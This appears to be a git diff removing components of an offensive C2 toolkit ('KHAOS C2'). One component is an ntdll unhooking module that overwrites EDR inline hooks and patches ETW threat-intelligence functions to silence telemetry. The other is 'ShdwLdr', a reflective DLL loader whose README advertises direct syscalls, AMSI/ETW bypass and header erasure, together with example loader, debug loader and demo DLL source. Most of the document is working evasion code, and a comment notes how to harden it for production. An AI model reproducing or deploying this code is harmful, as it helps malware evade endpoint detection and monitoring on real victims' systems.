*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
Binary file not shown.
@@ -1,23 +0,0 @@
#pragma once
#include <windows.h>
/*
* ntdll_unhook()
*
* Restores the live ntdll.dll .text section from a fresh copy mapped
* directly from disk using SEC_IMAGE (bypasses filesystem hooks).
* Overwrites any userland inline hooks (e.g. EDR trampolines) with
* clean bytes from the on-disk image.
*
* Returns 0 on success, -1 on failure.
*
* ntdll_patch_etw_ti()
*
* Patches EtwTiLogOpenProcess, EtwTiLogReadWriteVm, EtwTiLogDuplicateHandle
* with a single RET byte via NtProtectVirtualMemory, silencing ETW-TI
* telemetry for process open / memory read-write / handle dup events.
*
* Returns number of functions patched (0-3).
*/
int ntdll_unhook(void);
int ntdll_patch_etw_ti(void);
-50
View File
@@ -1,50 +0,0 @@
#include "ntdll_unhook.h"
#include <windows.h>
#include <stdio.h>
/*
* Demo: read the first 6 bytes of NtOpenProcess before and after unhooking.
*
* A hooked stub looks like:
* E9 xx xx xx xx xx JMP <EDR trampoline>
*
* A clean stub looks like:
* 4C 8B D1 mov r10, rcx
* B8 xx 00 00 00 mov eax, <SSN>
* 0F 05 syscall
* C3 ret
*/
static void print_bytes(const char *label, const BYTE *p, int n)
{
printf("[%s] ", label);
for (int i = 0; i < n; i++) printf("%02X ", p[i]);
printf("\n");
}
int main(void)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, "NtOpenProcess");
printf("[*] NtOpenProcess bytes before unhook:\n");
print_bytes("before", fn, 8);
int rc = ntdll_unhook();
printf("[*] ntdll_unhook() = %d (%s)\n", rc, rc == 0 ? "OK" : "FAIL");
printf("[*] NtOpenProcess bytes after unhook:\n");
print_bytes("after ", fn, 8);
/* Expected clean pattern: 4C 8B D1 B8 <SSN_LO> <SSN_HI> 00 00 */
int clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8);
printf("[%s] stub is %s\n", clean ? "+" : "!", clean ? "clean" : "still hooked or unknown");
/* ETW-TI patch — only present on specific Windows builds (PPL/ETW-TI enabled) */
int n = ntdll_patch_etw_ti();
if (n > 0)
printf("[+] ntdll_patch_etw_ti() patched %d/3 functions\n", n);
else
printf("[*] ntdll_patch_etw_ti(): EtwTi* exports not present on this build (normal on consumer SKUs)\n");
return clean ? 0 : 1;
}
-124
View File
@@ -1,124 +0,0 @@
#include "ntdll_unhook.h"
#include <windows.h>
#include <string.h>
#include <stdint.h>
/*
* PoC note: uses GetModuleHandleA/GetProcAddress with plaintext strings.
* In production, replace with a PEB walk and encrypted string storage.
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
*/
/* NtProtectVirtualMemory — used instead of VirtualProtect to avoid
* hooking the hook-removal function itself. */
typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
static NtPVM_t _get_ntpvm(void)
{
static NtPVM_t fn = NULL;
if (!fn)
fn = (NtPVM_t)(void *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
return fn;
}
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
{
NtPVM_t fn = _get_ntpvm();
if (!fn) return FALSE;
PVOID base = addr;
SIZE_T rsz = sz;
ULONG _old = 0;
NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
if (old) *old = (DWORD)_old;
return st == 0;
}
int ntdll_unhook(void)
{
/* Build ntdll.dll path: GetSystemDirectoryW + \ntdll.dll */
WCHAR path[MAX_PATH];
UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
if (!dir_len || dir_len > MAX_PATH - 12) return -1;
const WCHAR suffix[] = {
L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0'
};
for (int i = 0; suffix[i]; i++) path[dir_len + i] = suffix[i];
path[dir_len + 10] = L'\0';
/* Map ntdll from disk via SEC_IMAGE — kernel validates the PE,
* bypasses any filesystem filter hooks, gives us a clean image. */
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return -1;
HANDLE hMap = CreateFileMappingW(hFile, NULL,
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
CloseHandle(hFile);
if (!hMap) return -1;
LPVOID disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMap);
if (!disk) return -1;
int rc = -1;
/* Get live ntdll base */
HMODULE live = GetModuleHandleA("ntdll.dll");
if (!live) goto cleanup;
/* Walk PE sections to find .text */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
SIZE_T text_sz = sec->Misc.VirtualSize;
DWORD old;
if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
break;
memcpy(live_text, disk_text, text_sz);
_nt_prot(live_text, text_sz, old, &old);
rc = 0;
break;
}
cleanup:
UnmapViewOfFile(disk);
return rc;
}
int ntdll_patch_etw_ti(void)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) return 0;
/* ETW-TI functions that report process/memory/handle activity to the
* kernel ETW provider — patching them suppresses cross-process telemetry. */
static const char *targets[] = {
"EtwTiLogOpenProcess",
"EtwTiLogReadWriteVm",
"EtwTiLogDuplicateHandle",
};
int patched = 0;
for (int i = 0; i < 3; i++) {
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, targets[i]);
if (!fn) continue;
DWORD old;
if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
*fn = 0xC3; /* RET */
_nt_prot(fn, 1, old, &old);
patched++;
}
return patched;
}
-3
View File
@@ -1,3 +0,0 @@
build/
*.o
*.a
-28
View File
@@ -1,28 +0,0 @@
CC = x86_64-w64-mingw32-gcc
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
LDFLAGS = -Wl,--file-alignment,0x1000
DLL_SRC = src/reflect.c src/example_dll.c
EXE_SRC = examples/loader.c
DLL_OUT = build/example.dll
EXE_OUT = build/loader.exe
all: build $(DLL_OUT) $(EXE_OUT)
build:
mkdir -p build
$(DLL_OUT): $(DLL_SRC)
$(CC) $(CFLAGS) $(LDFLAGS) -shared -o $@ $^
$(EXE_OUT): $(EXE_SRC)
$(CC) $(CFLAGS) -o $@ $^
clean:
rm -rf build
.PHONY: all clean
-43
View File
@@ -1,43 +0,0 @@
# ShdwLdr
Reflective DLL loader for Windows x64. Maps a raw DLL from memory without the Windows loader.
By 28Zaaky — [KHAOS C2](https://github.com/28Zaaky/khaos-c2)
## Techniques
- Hash-based API resolution (ROR13, no plaintext strings)
- Hell's Gate + Halos Gate + Tartarus Gate (direct syscalls, hooked stub recovery)
- Per-section permissions via `NtProtectVirtualMemory` syscall
- TLS callbacks + slot allocation before `DllMain`
- `RtlAddFunctionTable` for x64 SEH
- AMSI + ETW bypass
- Header erasure, security cookie init
## Build
```bash
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
-fno-ident -fno-stack-protector -Wl,--file-alignment,0x1000 \
-shared -o build/example.dll src/reflect.c src/example_dll.c
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
-fno-ident -fno-stack-protector -o build/loader.exe examples/loader.c
```
> `--file-alignment,0x1000` : `PointerToRawData == VirtualAddress` — required for RIP-relative access while running from the raw buffer.
## Usage
```c
uint8_t *mem = VirtualAlloc(NULL, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, raw_dll, sz);
typedef ULONG_PTR (WINAPI *RL_t)(LPVOID);
ULONG_PTR base = ((RL_t)find_export(mem, "ReflectiveLoader"))(mem);
```
## Notes
- x64 only. No module list entry added.
- Module stomping disabled — `LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES)` calls `DllMain` on Win10+. Needs `NtMapViewOfSection`.
- `_rl_dbg` export contains runtime telemetry (SSNs, alloc method) — strip for production.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-225
View File
@@ -1,225 +0,0 @@
// Example loader for the reflective DLL.
// It reads the raw DLL from disk, copies it into RWX memory,
// finds ReflectiveLoader in the raw image, and calls it.
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// convert a raw RVA to a raw file offset
static DWORD rva_to_off(const uint8_t *buf, const IMAGE_NT_HEADERS *nt, DWORD rva)
{
const IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
WORD nsec = nt->FileHeader.NumberOfSections;
for (WORD i = 0; i < nsec; i++)
{
if (rva >= sec[i].VirtualAddress &&
rva < sec[i].VirtualAddress + sec[i].SizeOfRawData)
return rva - sec[i].VirtualAddress + sec[i].PointerToRawData;
}
return 0;
(void)buf;
}
// find an export in the raw DLL buffer and return the function address in memory
static LPVOID find_export_in_raw(const uint8_t *buf, size_t bufsz,
const uint8_t *mem, const char *name)
{
if (bufsz < sizeof(IMAGE_DOS_HEADER))
return NULL;
const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)buf;
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
const IMAGE_NT_HEADERS *nt = (const IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE)
return NULL;
DWORD expRva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!expRva)
return NULL;
DWORD expOff = rva_to_off(buf, nt, expRva);
if (!expOff)
return NULL;
const IMAGE_EXPORT_DIRECTORY *exp = (const IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
DWORD namesOff = rva_to_off(buf, nt, exp->AddressOfNames);
DWORD ordsOff = rva_to_off(buf, nt, exp->AddressOfNameOrdinals);
DWORD funcsOff = rva_to_off(buf, nt, exp->AddressOfFunctions);
if (!namesOff || !ordsOff || !funcsOff)
return NULL;
DWORD *names = (DWORD *)(buf + namesOff);
WORD *ords = (WORD *)(buf + ordsOff);
DWORD *funcs = (DWORD *)(buf + funcsOff);
for (DWORD i = 0; i < exp->NumberOfNames; i++)
{
DWORD nameOff = rva_to_off(buf, nt, names[i]);
if (!nameOff)
continue;
const char *n = (const char *)(buf + nameOff);
if (strcmp(n, name) == 0)
{
DWORD fnRva = funcs[ords[i]];
DWORD fnOff = rva_to_off(buf, nt, fnRva);
return fnOff ? (LPVOID)(mem + fnOff) : NULL;
}
}
return NULL;
}
// read the raw DLL file into memory
static uint8_t *read_file(const char *path, size_t *out_size)
{
HANDLE hf = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hf == INVALID_HANDLE_VALUE)
return NULL;
DWORD sz = GetFileSize(hf, NULL);
if (sz == INVALID_FILE_SIZE || sz == 0)
{
CloseHandle(hf);
return NULL;
}
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
if (!b)
{
CloseHandle(hf);
return NULL;
}
DWORD rd;
if (!ReadFile(hf, b, sz, &rd, NULL) || rd != sz)
{
HeapFree(GetProcessHeap(), 0, b);
CloseHandle(hf);
return NULL;
}
CloseHandle(hf);
*out_size = sz;
return b;
}
int main(int argc, char **argv)
{
char dll_path[MAX_PATH];
if (argc > 1)
{
strncpy(dll_path, argv[1], MAX_PATH - 1);
dll_path[MAX_PATH - 1] = '\0';
}
else
{
char exe_path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, exe_path, MAX_PATH);
if (len == 0 || len >= MAX_PATH)
return 1;
// build default path in the same directory as loader.exe
char *sep = strrchr(exe_path, '\\');
if (sep)
*(sep + 1) = '\0';
else
exe_path[0] = '\0';
snprintf(dll_path, MAX_PATH, "%sexample.dll", exe_path);
}
printf("[*] reading %s\n", dll_path);
size_t sz = 0;
uint8_t *buf = read_file(dll_path, &sz);
if (!buf)
{
fprintf(stderr, "[!] read failed (error %lu)\n", GetLastError());
return 1;
}
printf("[+] %zu bytes read\n", sz);
// allocate RWX memory for the raw DLL image
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, sz,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!mem)
{
fprintf(stderr, "[!] VirtualAlloc failed (%lu)\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
return 1;
}
memcpy(mem, buf, sz);
printf("[+] raw DLL at %p (RWX, %zu bytes)\n", (void *)mem, sz);
// locate ReflectiveLoader in the raw image and call it
typedef ULONG_PTR(WINAPI *RL_t)(LPVOID);
RL_t fn = (RL_t)find_export_in_raw(buf, sz, mem, "ReflectiveLoader");
HeapFree(GetProcessHeap(), 0, buf);
if (!fn)
{
fprintf(stderr, "[!] ReflectiveLoader export not found\n");
VirtualFree(mem, 0, MEM_RELEASE);
return 1;
}
printf("[+] ReflectiveLoader at %p\n", (void *)fn);
printf("[*] calling ReflectiveLoader...\n");
ULONG_PTR base = fn(mem);
if (!base)
{
fprintf(stderr, "[!] ReflectiveLoader returned 0\n");
VirtualFree(mem, 0, MEM_RELEASE);
return 1;
}
printf("[+] DLL mapped at 0x%llx\n", (unsigned long long)base);
// read debug telemetry written into mem[] by ReflectiveLoader before section copy
typedef struct { uint16_t ssn_alloc; uint16_t ssn_protect; uint32_t alloc_method; } RL_DBG;
RL_DBG *dbg = (RL_DBG *)find_export_in_raw(mem, sz, mem, "_rl_dbg");
if (dbg)
{
const char *method = dbg->alloc_method == 1 ? "Hell's Gate (NtAllocateVirtualMemory syscall)"
: dbg->alloc_method == 2 ? "VirtualAlloc (fallback)"
: "unknown";
printf("[*] alloc method : %s\n", method);
if (dbg->ssn_alloc != 0xFFFF)
printf("[*] ssn NtAllocateVirtualMemory : 0x%04x\n", dbg->ssn_alloc);
else
printf("[*] ssn NtAllocateVirtualMemory : not found (ntdll hooked?)\n");
if (dbg->ssn_protect != 0xFFFF)
printf("[*] ssn NtProtectVirtualMemory : 0x%04x\n", dbg->ssn_protect);
else
printf("[*] ssn NtProtectVirtualMemory : not found (ntdll hooked?)\n");
}
// check if the marker file was created
char marker[MAX_PATH];
DWORD n = GetEnvironmentVariableA("TEMP", marker, MAX_PATH - 20);
if (n && n < MAX_PATH - 20)
{
// DllMain marker
const char *s = "\\reflect_demo.txt";
int i = 0;
for (i = 0; s[i]; i++) marker[n + i] = s[i];
marker[n + i] = '\0';
printf("[%c] DllMain marker : %s\n",
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
// TLS callback marker
s = "\\reflect_tls.txt";
for (i = 0; s[i]; i++) marker[n + i] = s[i];
marker[n + i] = '\0';
printf("[%c] TLS callback : %s\n",
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
}
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
-6
View File
@@ -1,6 +0,0 @@
#pragma once
#include <windows.h>
// Exported entry point for the reflective DLL.
// lpParameter is the raw image base in the target process.
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
-283
View File
@@ -1,283 +0,0 @@
// debug_loader.c: a verbose step-by-step version of ReflectiveLoader.
// This program runs with normal IAT resolution and prints each stage.
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
// case-insensitive compare for ascii strings
static int _eq(const char *a, const char *b)
{
while (*a && *b && (*a | 0x20) == (*b | 0x20))
{
a++;
b++;
}
return !*a && !*b;
}
// compare wide string and ascii string for n characters
static int _weq(const WCHAR *w, const char *s, int n)
{
for (int i = 0; i < n; i++)
{
if (!w[i] && !s[i])
return 1;
if (!w[i] || !s[i])
return 0;
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20))
return 0;
}
return 1;
}
static uint8_t *buf = NULL;
static size_t bufsz = 0;
// convert a raw RVA into a file offset inside the raw buffer
static DWORD rva2off(DWORD rva)
{
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
IMAGE_SECTION_HEADER *s = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
{
if (rva >= s->VirtualAddress && rva < s->VirtualAddress + s->SizeOfRawData)
return rva - s->VirtualAddress + s->PointerToRawData;
}
return 0;
}
// read an entire file into memory
static uint8_t *read_file(const char *path, size_t *out)
{
HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE)
return NULL;
DWORD sz = GetFileSize(h, NULL);
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
DWORD rd;
ReadFile(h, b, sz, &rd, NULL);
CloseHandle(h);
*out = sz;
return b;
}
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "build\\example.dll";
printf("[*] reading %s\n", path);
buf = read_file(path, &bufsz);
if (!buf)
{
fprintf(stderr, "[!] read failed %lu\n", GetLastError());
return 1;
}
printf("[+] %zu bytes\n", bufsz);
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
printf("[+] ImageBase=0x%llx SizeOfImage=0x%lx SizeOfHeaders=0x%lx\n",
(unsigned long long)nt->OptionalHeader.ImageBase,
(unsigned long)nt->OptionalHeader.SizeOfImage,
(unsigned long)nt->OptionalHeader.SizeOfHeaders);
// STEP 1: find ReflectiveLoader export in the raw file
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD expOff = rva2off(expRva);
if (!expOff)
{
fprintf(stderr, "[!] no export dir\n");
return 1;
}
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
DWORD *names = (DWORD *)(buf + rva2off(exp->AddressOfNames));
WORD *ords = (WORD *)(buf + rva2off(exp->AddressOfNameOrdinals));
DWORD *funcs = (DWORD *)(buf + rva2off(exp->AddressOfFunctions));
DWORD rl_rva = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++)
{
const char *n = (const char *)(buf + rva2off(names[i]));
if (strcmp(n, "ReflectiveLoader") == 0)
{
rl_rva = funcs[ords[i]];
break;
}
}
DWORD rl_off = rva2off(rl_rva);
printf("[+] ReflectiveLoader: RVA=0x%lx rawOff=0x%lx\n", (unsigned long)rl_rva, (unsigned long)rl_off);
// STEP 2: copy the raw DLL into RWX memory
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, bufsz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, buf, bufsz);
printf("[+] raw copy at %p\n", (void *)mem);
// STEP 3: print section info
printf("[*] sections:\n");
IMAGE_NT_HEADERS *mnt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(mnt);
for (WORD i = 0; i < mnt->FileHeader.NumberOfSections; i++, sec++)
{
char name[9] = {0};
memcpy(name, sec->Name, 8);
printf(" [%d] %-8s VA=0x%08lx raw=0x%08lx sz=0x%lx\n", i, name,
(unsigned long)sec->VirtualAddress,
(unsigned long)sec->PointerToRawData,
(unsigned long)sec->SizeOfRawData);
}
// STEP 4: simulate finding the module base from the function address
ULONG_PTR fn_addr = (ULONG_PTR)(mem + rl_off);
ULONG_PTR scan = fn_addr & ~0xFFFUL;
int found_mz = 0;
ULONG_PTR found_base = 0;
for (int i = 0; i < 4096; i++, scan -= 0x1000)
{
if (!IsBadReadPtr((void *)scan, 2) && *(WORD *)scan == 0x5A4D)
{
IMAGE_DOS_HEADER *d = (IMAGE_DOS_HEADER *)scan;
if ((ULONG_PTR)d->e_lfanew <= 0x400)
{
IMAGE_NT_HEADERS *n2 = (IMAGE_NT_HEADERS *)(scan + d->e_lfanew);
if (n2->Signature == 0x00004550 && n2->OptionalHeader.SizeOfImage > 0)
{
found_base = scan;
found_mz = 1;
break;
}
}
}
}
printf("[+] _rl_find_own_base scan: found=%d base=0x%llx expected=0x%llx %s\n",
found_mz,
(unsigned long long)found_base,
(unsigned long long)(uintptr_t)mem,
(found_base == (ULONG_PTR)mem) ? "OK" : "MISMATCH");
// STEP 5: allocate memory for the mapped image
DWORD imgSz = nt->OptionalHeader.SizeOfImage;
uint8_t *dst = (uint8_t *)VirtualAlloc(NULL, imgSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("[+] dst alloc: %p (0x%lx bytes)\n", (void *)dst, (unsigned long)imgSz);
// STEP 6: copy headers from the raw file to the mapped image
memcpy(dst, mem, nt->OptionalHeader.SizeOfHeaders);
printf("[+] headers copied\n");
// STEP 7: copy each section from raw file to its virtual address
IMAGE_NT_HEADERS *snt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
sec = IMAGE_FIRST_SECTION(snt);
for (WORD i = 0; i < snt->FileHeader.NumberOfSections; i++, sec++)
{
if (!sec->PointerToRawData || !sec->SizeOfRawData)
continue;
uint8_t *ss = mem + sec->PointerToRawData;
uint8_t *dd = dst + sec->VirtualAddress;
if (sec->VirtualAddress + sec->SizeOfRawData > imgSz)
{
printf("[!] sec[%d] out of bounds!\n", i);
continue;
}
memcpy(dd, ss, sec->SizeOfRawData);
}
printf("[+] sections copied\n");
// STEP 8: apply relocations if needed
IMAGE_NT_HEADERS *dnt = (IMAGE_NT_HEADERS *)(dst + dos->e_lfanew);
LONG_PTR delta = (LONG_PTR)((uintptr_t)dst - nt->OptionalHeader.ImageBase);
printf("[*] reloc delta=0x%llx\n", (long long)delta);
{
DWORD rv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD rs = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
printf("[*] reloc dir RVA=0x%lx sz=0x%lx\n", (unsigned long)rv, (unsigned long)rs);
if (delta && rv && rs)
{
IMAGE_BASE_RELOCATION *r = (IMAGE_BASE_RELOCATION *)(dst + rv);
int cnt = 0;
while (r->VirtualAddress && r->SizeOfBlock)
{
ULONG_PTR pg = (ULONG_PTR)dst + r->VirtualAddress;
WORD *e = (WORD *)((uint8_t *)r + sizeof(*r));
DWORD n = (r->SizeOfBlock - sizeof(*r)) / sizeof(WORD);
for (DWORD j = 0; j < n; j++)
{
int t = e[j] >> 12;
DWORD o = e[j] & 0xFFF;
if (t == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(pg + o) += (ULONG_PTR)delta;
cnt++;
}
if (t == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(pg + o) += (DWORD)delta;
cnt++;
}
}
r = (IMAGE_BASE_RELOCATION *)((uint8_t *)r + r->SizeOfBlock);
}
printf("[+] %d relocations applied\n", cnt);
}
}
// STEP 9: resolve imports for the mapped image
{
DWORD iv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
printf("[*] import dir RVA=0x%lx\n", (unsigned long)iv);
if (iv)
{
IMAGE_IMPORT_DESCRIPTOR *imp = (IMAGE_IMPORT_DESCRIPTOR *)(dst + iv);
for (; imp->Name; imp++)
{
char *dn = (char *)(dst + imp->Name);
HMODULE h = LoadLibraryA(dn);
printf(" [%s] -> %p\n", dn, (void *)h);
if (!h)
continue;
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
for (; ont->u1.AddressOfData; ont++, iat++)
{
FARPROC p;
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
p = GetProcAddress(h, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
else
{
IMAGE_IMPORT_BY_NAME *ibn = (IMAGE_IMPORT_BY_NAME *)(dst + (DWORD)ont->u1.AddressOfData);
p = GetProcAddress(h, (LPCSTR)ibn->Name);
}
iat->u1.Function = (ULONG_PTR)p;
}
}
}
}
printf("[+] imports resolved\n");
// STEP 10: flush cache and call the DLL entry point
FlushInstructionCache(GetCurrentProcess(), dst, imgSz);
typedef BOOL(WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t fm = (DllMain_t)(dst + dnt->OptionalHeader.AddressOfEntryPoint);
printf("[*] calling DllMain at %p (OEP RVA=0x%lx)\n", (void *)fm,
(unsigned long)dnt->OptionalHeader.AddressOfEntryPoint);
BOOL ok = fm((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
printf("[+] DllMain returned %d\n", (int)ok);
}
/* verify marker */
char marker[MAX_PATH];
DWORD n=GetEnvironmentVariableA("TEMP",marker,MAX_PATH-20);
if(n){const char*s="\\reflect_demo.txt";for(int i=0;s[i];i++)marker[n++]=s[i];marker[n]=0;
if(GetFileAttributesA(marker)!=INVALID_FILE_ATTRIBUTES)printf("[+] marker: %s\n",marker);
else printf("[-] no marker file\n");}
VirtualFree(dst,0,MEM_RELEASE);
VirtualFree(mem,0,MEM_RELEASE);
HeapFree(GetProcessHeap(),0,buf);
return 0;
}
-75
View File
@@ -1,75 +0,0 @@
// Minimal example DLL for reflective loading.
// Build this with reflect.c and export ReflectiveLoader.
#include <windows.h>
// TLS callback — called by ReflectiveLoader BEFORE DllMain.
// Writes %TEMP%\reflect_tls.txt to prove the callback ran.
static void NTAPI tls_callback(PVOID DllHandle, DWORD reason, PVOID reserved)
{
(void)DllHandle;
(void)reserved;
if (reason != DLL_PROCESS_ATTACH)
return;
OutputDebugStringA("[reflect-dll] TLS callback DLL_PROCESS_ATTACH\n");
char path[MAX_PATH];
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
if (n && n < MAX_PATH - 20)
{
const char *suffix = "\\reflect_tls.txt";
for (int i = 0; suffix[i]; i++)
path[n++] = suffix[i];
path[n] = '\0';
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hf != INVALID_HANDLE_VALUE)
{
const char msg[] = "TLS callback fired before DllMain\r\n";
DWORD w;
WriteFile(hf, msg, sizeof(msg) - 1, &w, NULL);
CloseHandle(hf);
}
}
}
static __thread volatile int _tls_anchor = 0;
__attribute__((section(".CRT$XLB"), used)) static PIMAGE_TLS_CALLBACK _tls_cb_entry = tls_callback;
__declspec(dllexport)
BOOL WINAPI
DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved)
{
(void)hInst;
(void)reserved;
// only perform actions on process attach
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hInst);
OutputDebugStringA("[reflect-dll] DllMain DLL_PROCESS_ATTACH loaded reflectively\n");
char path[MAX_PATH];
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
if (n && n < MAX_PATH - 20)
{
const char *suffix = "\\reflect_demo.txt";
for (int i = 0; suffix[i]; i++)
path[n++] = suffix[i];
path[n] = '\0';
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hf != INVALID_HANDLE_VALUE)
{
const char msg[] = "Reflective DLL loaded via ReflectiveLoader()\r\n";
DWORD written;
WriteFile(hf, msg, sizeof(msg) - 1, &written, NULL);
CloseHandle(hf);
}
}
}
return TRUE;
}
-520
View File
@@ -1,520 +0,0 @@
#include "reflect.h"
#include <windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdint.h>
// forward decl to silence MinGW warning
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
// PEB/LDR structs
typedef struct _RL_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} RL_LDR_ENTRY;
typedef struct _RL_PEB_LDR {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
} RL_PEB_LDR;
typedef struct _RL_PEB {
BYTE Reserved[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
RL_PEB_LDR *Ldr;
} RL_PEB;
// fn pointer typedefs
typedef HMODULE (WINAPI *pLoadLibraryA_t) (LPCSTR);
typedef HMODULE (WINAPI *pLoadLibraryExA_t) (LPCSTR, HANDLE, DWORD);
